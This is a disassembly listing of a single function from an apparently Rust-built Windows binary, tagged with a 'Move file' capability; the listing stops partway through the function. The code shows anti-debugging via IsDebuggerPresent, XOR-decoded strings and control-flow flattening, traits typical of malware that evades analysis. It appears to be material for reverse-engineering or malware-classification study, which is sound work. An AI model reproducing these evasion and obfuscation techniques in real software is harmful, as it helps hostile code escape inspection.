Function at 0x4207f5
Capabilities:
Move file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xcd8
movapd xmmword [rsp + 0xcc0], xmm15
movdqa xmmword [rsp + 0xcb0], xmm14
movdqa xmmword [rsp + 0xca0], xmm13
movdqa xmmword [rsp + 0xc90], xmm12
movdqa xmmword [rsp + 0xc80], xmm11
movdqa xmmword [rsp + 0xc70], xmm10
movdqa xmmword [rsp + 0xc60], xmm9
movdqa xmmword [rsp + 0xc50], xmm8
movdqa xmmword [rsp + 0xc40], xmm7
movdqa xmmword [rsp + 0xc30], xmm6
mov r15, rdx
movzx eax, byte [rcx + 0x160]
test eax, eax
mov qword [rsp + 0x60], rcx
je 0x4208b7
cmp eax, 3
jne case.default.0x42089f
mov r12, rcx
lea r13, [rcx + 0x68]
movzx eax, byte [rcx + 0x68]
lea rcx, [0x00424088]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x80], r13
mov rbp, qword [r12]
mov rdi, qword [r12 + 8]
jmp 0x42197a
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0046cb60
cmp byte [rsi + 0x18], 2
mov rdi, qword [rsi]
mov qword [rsp + 0x78], r15
je 0x420986
lea r8, [rsp + 0x500]
mov rsi, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
and word [r8 + 0x24], 0
and dword [r8 + 0x20], 0
mov qword [r8 + 0x18], 7
and qword [r8], 0
movaps xmm0, xmmword [0x00491050]
movups xmmword [r8 + 8], xmm0
mov rcx, rsi
call fcn.00469fd0
mov rbx, rdx
test rax, rax
je 0x42094a
mov qword [rsp + 0xd0], rbx
mov byte [rsp + 0xe8], 2
jmp 0x420978
mov rsi, qword [r12 + 0x70]
mov rdi, qword [r12 + 0x78]
jmp 0x4225e6
lea rcx, [rsp + 0xd0]
mov rdx, rbx
call fcn.0046d020
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov rbx, qword [rsp + 0xd0]
cmp byte [rsp + 0xe8], 2
jne 0x421e8f
mov rcx, rdi
mov rdx, rsi
call fcn.0044a8f3
mov rdi, rbx
test rdi, rdi
jne 0x4230fa
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
jne 0x42310e
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0046cb60
cmp byte [rsi + 0x18], 2
je 0x423115
mov rbp, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x510]
mov qword [rsp + 0xb0], rcx
call fcn.0047e210
test rax, rax
je 0x42314e
mov r14, rax
mov rsi, rdx
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rdi, rax
mov byte [rax], 0x7c
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 0x20
mov al, 1
xor r13d, r13d
lea r12, str.win_src_main.rs
test al, 1
je 0x420a55
mov edx, 1
mov rcx, rdi
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r15
mov r8, r13
mov r9, r12
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x420a20
mov qword [rsp + 0xa8], rbp
mov eax, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], r15
mov qword [rdx + 0x10], rax
lea r15, [rsp + 0x500]
mov rcx, r15
call fcn.00407601
lea r12, [rsp + 0x260]
mov rcx, r12
mov rdx, r15
call fcn.00406dae
mov ecx, 1
mov rdx, rdi
call fcn.00427458
mov rax, qword [r12 + 8]
mov qword [rsp + 0x70], rax
mov rbp, qword [r12 + 0x10]
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 0x50
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r12, rax
mov byte [rax], 0x7f
mov al, 1
xor r13d, r13d
lea rdi, str.win_src_main.rs
test al, 1
je 0x420b1f
mov edx, 1
mov rcx, r15
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r12
mov r8, r13
mov r9, rdi
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x420aea
mov edi, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rdi
mov qword [rdx + 8], r12
mov qword [rdx + 0x10], rdi
lea r12, [rsp + 0x500]
mov rcx, r12
call fcn.00407601
lea r13, [rsp + 0xd0]
mov rcx, r13
mov rdx, r12
call fcn.00406dae
mov ecx, 1
mov rdx, r15
call fcn.00427458
mov r12, qword [r13 + 8]
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbp
lea r15, [rsp + 0x500]
mov rcx, r15
mov rdx, r14
mov r8, rsi
mov r9, qword [rsp + 0x70]
call fcn.004072e8
mov r14, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
mov r13, rax
test rax, rax
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0x68], r14
je 0x420e1e
setns al
mov rbx, qword [rsp + 0x60]
js 0x42317c
movzx esi, al
mov r15, r13
mov rcx, r13
mov rdx, rsi
call fcn.004242f0
test rax, rax
je 0x423183
mov rdi, rax
xor esi, esi
cmp r15, 0x10
jb 0x420e25
movabs rax, 0x8080808080808080
movaps xmm0, xmmword [0x00491060]
movdqa xmm2, xmmword [0x00491080]
movdqa xmm3, xmmword [0x00491090]
movdqa xmm4, xmmword [0x004910a0]
movdqa xmm5, xmmword [0x004910b0]
movdqa xmm6, xmmword [0x004910c0]
movdqa xmm7, xmmword [0x004910d0]
movdqa xmm8, xmmword [0x004910e0]
movdqa xmm9, xmmword [0x004910f0]
movdqu xmm10, xmmword [r14 + rsi]
pshufd xmm13, xmm10, 0xee
movdqa xmm11, xmm13
por xmm11, xmm10
movq rcx, xmm11
test rcx, rax
jne 0x420e25
movq rcx, xmm10
movdqa xmm12, xmm10
psrlq xmm12, 0x20
movdqa xmm11, xmm13
psrlq xmm11, 0x18
shufps xmm11, xmm12, 0xe4
movdqa xmm12, xmm10
psrlq xmm12, 0x30
movdqa xmm14, xmm13
psrlq xmm14, 0x28
shufps xmm14, xmm12, 0xe4
andps xmm14, xmm0
andps xmm11, xmm0
packuswb xmm11, xmm14
movdqa xmm12, xmm10
psrlq xmm12, 0x10
psrlq xmm13, 8
shufps xmm13, xmm12, 0xe4
shr rcx, 0x38
movd xmm12, ecx
shufps xmm12, xmm10, 0xe4
andps xmm13, xmm0
andps xmm12, xmm0
packuswb xmm12, xmm13
movdqa xmm14, xmm10
psrlq xmm14, 0x18
pshufd xmm1, xmm10, 0x44
movdqa xmm13, xmm1
psrlq xmm13, 0x20
movsd xmm13, xmm14
movdqa xmm14, xmm10
psrlq xmm14, 0x28
movdqa xmm15, xmm1
psrlq xmm15, 0x30
movsd xmm15, xmm14
andpd xmm15, xmm0
andpd xmm13, xmm0
packuswb xmm13, xmm15
movdqa xmm14, xmm10
psrlq xmm14, 8
psrlq xmm1, 0x10
movsd xmm1, xmm14
shufps xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xe8
punpcklbw xmm1, xmm1
pshuflw xmm1, xmm1, 0xe8
pand xmm1, xmmword [0x00491070]
movdqa xmm14, xmm10
pand xmm14, xmm2
por xmm14, xmm1
movdqa xmm1, xmm3
pandn xmm1, xmm14
packuswb xmm12, xmm12
packuswb xmm12, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
psllq xmm13, 0x18
pand xmm13, xmm3
por xmm1, xmm13
pslldq xmm12, 7
movdqa xmm13, xmm4
pandn xmm13, xmm12
pand xmm1, xmm4
por xmm1, xmm13
packuswb xmm11, xmm11
packuswb xmm11, xmm11
pand xmm1, xmm5
pslldq xmm11, 0xb
por xmm11, xmm1
pand xmm11, xmm6
movdqa xmm1, xmm6
pandn xmm1, xmm10
por xmm1, xmm11
movdqa xmm10, xmm1
paddb xmm10, xmm7
movdqa xmm11, xmm10
pminub xmm11, xmm8
pcmpeqb xmm11, xmm10
pand xmm11, xmm9
por xmm11, xmm1
movdqu xmmword [rdi + rsi], xmm11
lea rcx, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rcx
jbe 0x420c44
mov rsi, rcx
jmp 0x420e25
xor esi, esi
mov rbx, qword [rsp + 0x60]
mov rax, r13
mov qword [rbx + 0x130], r13
mov qword [rbx + 0x138], rdi
mov qword [rbx + 0x140], rsi
sub rax, rsi
mov qword [rsp + 0x58], rax
jne 0x4211cf
lea rsi, [rsp + 0x500]
mov rcx, qword [rsi]
mov rdx, qword [rsp + 0x68]
call fcn.00427458
lea rax, [rsp + 0xd0]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0xc0]
call fcn.00427458
lea rax, [rsp + 0x260]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x70]
call fcn.00427458
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
call fcn.00427458
lea rdx, [0x0048da60]
mov r8d, 0x10
mov rcx, rsi
call fcn.00429850
mov rcx, rsi
call fcn.00406e0f
mov r15, rax
mov r12, rdx
xor ecx, ecx
mov esi, 0x57ee0577
lea r13, str.win_src_main.rs
cmp esi, 0xc51e93d9
je 0x420f5a
cmp esi, 0x562ba068
je 0x420f00
cmp esi, 0x57ee0577
je 0x42109b
cmp esi, 0x7b0bc5ea
jne 0x4211c8
jmp 0x421589
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x140]
cmp r9, r12
jb 0x42174a
mov rax, qword [rsp + 0x60]
mov r8, qword [rax + 0x138]
lea rax, [0x004919d0]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, r12
call fcn.00401b1e
mov r9, rdx
mov rcx, r15
mov rdx, r12
mov r8, rax
call fcn.0042762c
mov ecx, 0x2d206582
test al, al
jne 0x4211c8
jmp 0x42174a
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rbp, rax
mov byte [rax], 0xfa
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r14, rax
mov byte [rax], 0xca
mov al, 1
xor edi, edi
test al, 1
je 0x420fbc
mov edx, 1
mov rcx, rbp
mov r8, rdi
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r14
mov r8, rdi
mov r9, r13
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov edi, 1
jmp 0x420f88
mov eax, 1
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], rax
lea rbx, [rsp + 0x500]
mov rcx, rbx
lea rdi, [rsp + 0xd0]
mov rdx, rdi
call fcn.00407601
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.00406dae
mov ecx, 1
mov rdx, rbp
call fcn.00427458
mov r14, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r15
mov r8, r12
mov r9, r14
call fcn.00470410
mov rdi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rbx
mov rdx, rdi
call fcn.004035f4
cmp dword [rsp + 0x500], 2
je 0x423086
mov rbx, qword [rsp + 0x528]
mov rcx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.00427458
mov rcx, qword [rsp + 0x260]
mov rdx, r14
call fcn.00427458
mov ecx, 0x933533b1
test rbx, rbx
jne 0x4211c8
jmp 0x42174a
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rbp, rax
mov byte [rax], 0xe
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r14, rax
mov byte [rax], 0x3e
mov al, 1
xor edi, edi
test al, 1
je 0x4210fd
mov edx, 1
mov rcx, rbp
mov r8, rdi
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r14
mov r8, rdi
mov r9, r13
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov edi, 1
jmp 0x4210c9
mov eax, 1
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], r14
mov qword [rsp + 0x270], rax
lea rdi, [rsp + 0x500]
mov rcx, rdi
lea rdx, [rsp + 0x260]
call fcn.00407601
lea rcx, [rsp + 0x3d0]
mov rdx, rdi
call fcn.00406dae
mov ecx, 1
mov rdx, rbp
call fcn.00427458
mov rbp, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xd0]
mov rdx, r15
mov r8, r12
mov r9, rbp
call fcn.00470410
mov r14, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rdi
mov rdx, r14
call fcn.004035f4
cmp dword [rsp + 0x500], 2
je 0x42171d
mov rcx, qword [rsp + 0xd0]
mov rdx, r14
call fcn.00427458
mov rcx, qword [rsp + 0x3d0]
mov rdx, rbp
call fcn.00427458
mov ecx, 0x92f096ae
xor esi, ecx
jmp 0x420ed3
mov rbx, r13
mov rax, qword [rsp + 0x60]
add rax, 0x130
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x68]
add rsi, rax
add rbx, rax
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x80], rax
lea r12, [0x00495878]
xor r15d, r15d
mov r14, rsi
movzx edx, byte [r14]
test dl, dl
js 0x421217
lea rbp, [r14 + 1]
jmp 0x42127e
mov eax, edx
and eax, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x421265
movzx ecx, byte [r14 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x421273
movzx edx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x420e4b
lea rbp, [r14 + 4]
jmp 0x42127e
lea rbp, [r14 + 2]
shl eax, 6
or eax, r8d
mov edx, eax
jmp 0x42127e
lea rbp, [r14 + 3]
shl eax, 0xc
or ecx, eax
mov edx, ecx
cmp edx, 0x3a3
je 0x4212b0
cmp edx, 0x110000
je 0x420e4b
cmp edx, 0x80
jae 0x4212c8
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x421429
test r15, r15
je 0x421325
cmp r15, qword [rsp + 0x58]
jae 0x42131f
cmp byte [rsi + r15], 0xbf
jg 0x421325
jmp 0x4230a3
mov eax, 0x57f
xor r8d, r8d
mov ecx, 0x57f
shr rax, 1
add rax, r8
xor r9d, r9d
cmp dword [r12 + rax*8], edx
setne r9b
mov r10d, 0xff
cmovb r9d, r10d
cmp r9b, 1
je 0x421312
movzx r8d, r9b
cmp r8d, 0xff
jne 0x4213ec
inc rax
mov r8, rax
mov rax, rcx
jmp 0x421315
mov rcx, rax
sub rax, r8
ja 0x4212d5
jmp 0x421429
jne 0x4230a3
lea r13, [rsi + r15]
xor eax, eax
cmp r13, rsi
je 0x4214fe
movzx edi, byte [r13 - 1]
test dil, dil
js 0x421343
dec r13
jmp 0x42139c
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x421370
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x421379
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x421380
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x421388
add r13, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and edi, 0x3f
or edi, ecx
cmp edi, 0x110000
je 0x4214fe
test al, al
jne 0x4213b4
mov ecx, edi
call fcn.0042ede0
test al, al
je 0x4213b4
mov edi, 0x110000
xor eax, eax
jmp 0x4213b6
mov al, 1
cmp edi, 0x110000
je 0x42132b
mov ecx, edi
call fcn.0042ef30
test al, al
je 0x4214fe
mov rdi, r15
add rdi, 2
je 0x42143e
cmp rdi, qword [rsp + 0x58]
jae 0x421438
cmp byte [rsi + rdi], 0xc0
jge 0x42143e
jmp 0x423163
mov edx, dword [r12 + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp edx, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne edx, eax
je 0x421429
mov rcx, qword [rsp + 0x50]
call fcn.004268d0
mov edx, 0x307
mov rcx, qword [rsp + 0x50]
call fcn.004268d0
jmp 0x421550
jne 0x423163
add rdi, rsi
xor eax, eax
cmp rdi, rbx
je 0x421567
movzx r13d, byte [rdi]
test r13b, r13b
js 0x42145a
inc rdi
jmp 0x4214c9
mov ecx, r13d
and ecx, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x4214ae
movzx edx, byte [rdi + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp r13b, 0xf0
jb 0x4214bd
movzx r13d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r13d, 0x3f
or r13d, edx
or r13d, ecx
cmp r13d, 0x110000
je 0x421567
add rdi, 4
jmp 0x4214c9
add rdi, 2
shl ecx, 6
or ecx, r8d
mov r13d, ecx
jmp 0x4214c9
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r13d, edx
test al, al
jne 0x4214e3
mov ecx, r13d
call fcn.0042ede0
test al, al
je 0x4214e3
mov r13d, 0x110000
xor eax, eax
jmp 0x4214e5
mov al, 1
cmp r13d, 0x110000
je 0x421443
mov ecx, r13d
call fcn.0042ef30
test al, al
je 0x421567
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x130]
mov rdx, qword [rcx + 0x140]
sub rax, rdx
mov di, 0x83cf
cmp rax, 2
jae 0x42153a
mov r8d, 2
mov rcx, qword [rsp + 0x50]
call fcn.00425f10
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rcx + 0x140]
mov rax, qword [rcx + 0x138]
mov word [rax + rdx], di
add rdx, 2
mov qword [rcx + 0x140], rdx
sub r15, r14
add r15, rbp
mov r14, rbp
cmp rbp, rbx
jne 0x421209
jmp 0x420e4b
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x130]
mov rdx, qword [rcx + 0x140]
sub rax, rdx
mov di, 0x82cf
cmp rax, 1
jbe 0x42151e
jmp 0x42153a
lea rdx, [0x0048da70]
lea rsi, [rsp + 0x500]
mov r8d, 0xc8
mov rcx, rsi
call fcn.00429850
mov rcx, rsi
call fcn.00406e0f
mov rcx, rax
call fcn.00437798
mov rdi, rax
mov r14, rdx
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 0x59
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r12, rax
mov byte [rax], 0x25
mov al, 1
xor r13d, r13d
lea rsi, str.win_src_main.rs
test al, 1
je 0x421627
mov edx, 1
mov rcx, r15
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r12
mov r8, r13
mov r9, rsi
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x4215f2
mov eax, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], r12
mov qword [rdx + 0x10], rax
lea r12, [rsp + 0x500]
mov rcx, r12
call fcn.00407601
lea r13, [rsp + 0xd0]
mov rcx, r13
mov rdx, r12
call fcn.00406dae
mov ecx, 1
mov rdx, r15
call fcn.00427458
mov r15, qword [r13 + 8]
mov rax, qword [r13 + 0x10]
lea rcx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
and qword [rsp + 0x30], 0
lea r12, [rsp + 0xc18]
mov rcx, r12
mov rdx, rdi
mov r8, r14
mov r9, r15
call fcn.004072e8
mov rcx, qword [r13]
mov rdx, r15
call fcn.00427458
mov r14, qword [r12]
mov rax, qword [r12 + 8]
mov qword [rsp + 0x50], rax
mov rax, qword [r12 + 0x10]
test al, 1
jne 0x4231a8
lea rcx, [rsp + 0xd0]
and qword [rcx], 0
mov rdx, qword [rsp + 0x50]
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 2
lea rax, [rsp + 0xba8]
mov dword [rax], 3
mov qword [rcx + 0x20], rax
call fcn.004019a5
test al, 1
jne 0x421754
xor r15d, r15d
mov r12d, 1
xor eax, eax
xor r13d, r13d
jmp 0x42185d
lea rcx, [rsp + 0x508]
call fcn.004056d6
mov rcx, qword [rsp + 0xd0]
mov rdx, r14
call fcn.00427458
mov rcx, qword [rsp + 0x3d0]
mov rdx, rbp
call fcn.00427458
mov r12, qword [rsp + 0x60]
jmp 0x423ebc
mov ebp, edx
mov qword [rsp + 0x58], r14
lea r12, [rsp + 0x500]
lea r15, [rsp + 0xd0]
mov rcx, r12
mov rdx, r15
call fcn.00401abf
mov rax, qword [r12]
inc rax
mov rcx, 0xffffffffffffffff
mov rbx, 0xffffffffffffffff
cmove rax, rcx
cmp rax, 9
mov ecx, 8
cmovae rcx, rax
xor edx, edx
call fcn.004270e6
mov r14, rdx
mov byte [rdx], bpl
lea r13, [rsp + 0x3d0]
mov qword [r13], rax
mov qword [r13 + 8], rdx
mov qword [r13 + 0x10], 1
mov rax, qword [r15 + 0x20]
mov qword [r12 + 0x20], rax
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [r12 + 0x10], xmm1
movaps xmmword [r12], xmm0
mov r15d, 1
lea rbp, [rsp + 0x260]
mov rcx, r12
call fcn.004019a5
test al, 1
je 0x421841
mov edi, edx
cmp r15, qword [rsp + 0x3d0]
jne 0x421830
mov rcx, rbp
mov rdx, r12
call fcn.00401abf
mov rdx, qword [rsp + 0x260]
inc rdx
cmove rdx, rbx
mov rcx, r13
call fcn.004274d7
mov r14, qword [rsp + 0x3d8]
mov byte [r14 + r15], dil
inc r15
mov qword [rsp + 0x3e0], r15
jmp 0x4217ee
mov rax, qword [rsp + 0x3d0]
mov r12, qword [rsp + 0x3d8]
mov r13, rax
shr r13, 0x20
mov r14, qword [rsp + 0x58]
mov edi, dword [rsp + 0xba8]
cmp edi, 3
je 0x421897
mov ebx, dword [rsp + 0xbac]
mov rbp, r14
mov r14, qword [rsp + 0xbb0]
shl r13, 0x20
mov ecx, eax
or rcx, r13
mov rdx, r12
call fcn.00427458
mov r12, r14
mov r14, rbp
mov r13d, ebx
mov eax, edi
mov qword [rsp + 0x58], rax
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.00427458
cmp edi, 3
jne 0x4231bf
mov rcx, r15
mov dl, 1
call fcn.004270e6
mov rsi, rax
mov rdi, rdx
xor r8d, r8d
lea r14, str.win_src_main.rs
cmp r15, r8
je 0x4218f3
lea rbx, [r8 + 1]
mov bpl, byte [r12 + r8]
mov rcx, rdi
mov rdx, r15
mov r9, r14
call fcn.0041787a
xor bpl, 0x81
mov byte [rax], bpl
mov r8, rbx
jmp 0x4218cc
shl r13, 0x20
mov ecx, dword [rsp + 0x58]
or rcx, r13
mov rdx, r12
call fcn.00427458
lea rdx, [rsp + 0x500]
mov qword [rdx], rsi
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], r15
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.0041c7fb
lea rdi, [rsp + 0x500]
mov rcx, rdi
mov rdx, rsi
call fcn.00407601
mov rsi, qword [rsp + 0x60]
lea rcx, [rsi + 0x148]
mov rdx, rdi
call fcn.00406dae
mov rbp, qword [rsi + 0x150]
mov rdi, qword [rsi + 0x158]
mov qword [rsi], rbp
mov qword [rsi + 8], rdi
lea rax, [rsi + 0x68]
mov qword [rsp + 0x80], rax
mov byte [rsi + 0x68], 0
mov r15, qword [rsp + 0x78]
lea r14, [rsp + 0x558]
mov word [r14], 0x101
xor esi, esi
mov byte [r14 + 2], sil
and qword [r14 - 0x58], 0
and qword [r14 - 0x48], 0
and qword [r14 - 0x38], 0
mov byte [r14 - 0x28], 2
and qword [r14 - 0x27], 0
mov qword [r14 - 0x18], 0x5a
and dword [r14 - 0x10], 0
or qword [r14 - 8], 0xffffffffffffffff
mov ecx, pe_nt_image_headers64
mov edx, 8
call fcn.0043583a
mov r13, rax
mov eax, 1
mov qword [r13], rax
mov qword [r13 + 8], rax
mov eax, 0x3b9aca00
mov dword [r13 + 0x18], eax
and qword [r13 + 0x20], 0
mov dword [r13 + 0x28], 0x11e1a300
mov dword [r13 + 0x38], eax
and qword [r13 + 0x40], 0
and qword [r13 + 0x50], 0
mov word [r13 + 0x60], 1
mov byte [r13 + 0x66], sil
and word [r13 + 0x77], 0
mov eax, 1
lock cmpxchg qword [r13], rsi
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rdi
jne 0x421a43
mov rax, qword [r13 + 8]
cmp rax, 1
jne 0x421a88
mov qword [r13], 1
mov r12, r13
jmp 0x421b4e
call fcn.004396d0
mov r12, rax
mov ecx, dword [r13 + 0x18]
mov r10, qword [r13 + 0x10]
mov al, byte [r13 + 0x60]
mov edx, dword [r13 + 0x28]
mov r11, qword [r13 + 0x20]
mov r8d, dword [r13 + 0x38]
mov rsi, qword [r13 + 0x30]
mov bl, byte [r13 + 0x61]
mov edi, dword [r13 + 0x62]
cmp byte [r13 + 0x66], 0
je 0x421ab0
movups xmm0, xmmword [r13 + 0x67]
movaps xmmword [rsp + 0xd0], xmm0
mov r9b, 1
jmp 0x421ab3
call fcn.004396d0
mov r12, rax
lea rdi, [rax + 0x10]
mov rsi, r13
add rsi, 0x10
mov ecx, 0xe
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
call fcn.00405381
jmp 0x421b4e
xor r9d, r9d
shl rdi, 8
xor r15d, r15d
test bl, bl
cmovne r15, rdi
movzx edi, bl
or rdi, r15
movzx ebx, word [r13 + 0x77]
movups xmm0, xmmword [r13 + 0x40]
movdqu xmm1, xmmword [r13 + 0x50]
movdqa xmm2, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x260], xmm2
mov qword [r12 + 0x10], r10
mov dword [r12 + 0x18], ecx
mov qword [r12 + 0x20], r11
mov dword [r12 + 0x28], edx
mov qword [r12 + 0x30], rsi
mov dword [r12 + 0x38], r8d
movups xmmword [r12 + 0x40], xmm0
movdqu xmmword [r12 + 0x50], xmm1
mov byte [r12 + 0x60], al
shr r15, 0x20
mov byte [r12 + 0x65], r15b
mov dword [r12 + 0x61], edi
mov byte [r12 + 0x66], r9b
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [r12 + 0x67], xmm0
mov word [r12 + 0x77], bx
lock dec qword [r13]
jne 0x421b4e
mov rcx, r13
call fcn.0043970a
mov qword [r12 + 0x30], 0x5a
and dword [r12 + 0x38], 0
mov r13, qword [rsp + 0x500]
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0xa8], rax
mov al, byte [rsp + 0x531]
mov byte [rsp + 0xb0], al
mov bl, byte [rsp + 0x530]
mov al, byte [rsp + 0x537]
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x538]
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0xcc], eax
mov rdi, qword [rsp + 0x550]
mov al, byte [r14 + 2]
movzx r15d, byte [rsp + 0x536]
mov esi, dword [rsp + 0x532]
mov rcx, qword [rsp + 0x60]
mov byte [rcx + 0x62], al
movzx eax, word [r14]
mov word [rcx + 0x60], ax
mov rbp, qword [rsp + 0x508]
mov rcx, r13
mov rdx, rbp
call fcn.0043bfb1
mov r8, rax
shl r15, 0x20
or r15, rsi
xor eax, eax
test bl, bl
setne al
cmp bl, 2
mov r14d, 2
cmovne r14d, eax
mov rbx, qword [rsp + 0x518]
mov r9, qword [rsp + 0x528]
test rdi, rdi
je 0x421db4
lea rsi, [fcn.0047dde0]
mov rcx, rsi
mov qword [rsp + 0x250], r8
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], r9
mov rdi, rdx
call fcn.00430a89
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x230], rdx
mov rcx, rsi
call fcn.00430a89
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rdx
mov rcx, rsi
call fcn.00430a89
mov qword [rsp + 0x218], rax
mov rsi, rdx
mov rcx, r13
mov rdx, rbp
call fcn.0043bfb1
mov r13, rax
mov rbp, rdx
mov ecx, 0xe0
mov edx, 8
call fcn.0043583a
mov rdx, rdi
mov r9, qword [rsp + 0x248]
mov r8, qword [rsp + 0x250]
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rbp
xorps xmm0, xmm0
movups xmmword [rax + 0x30], xmm0
and qword [rax + 0x40], 0
lea rcx, [0x004a3230]
mov qword [rax + 0x48], rcx
mov r11, qword [rsp + 0x238]
mov qword [rax + 0x50], r11
mov r11, qword [rsp + 0x230]
mov qword [rax + 0x58], r11
movups xmmword [rax + 0x60], xmm0
and qword [rax + 0x70], 0
mov qword [rax + 0x78], rcx
mov r11, qword [rsp + 0x228]
mov qword [rax + 0x80], r11
mov r11, qword [rsp + 0x220]
mov qword [rax + 0x88], r11
movups xmmword [rax + 0x90], xmm0
and qword [rax + 0xa0], 0
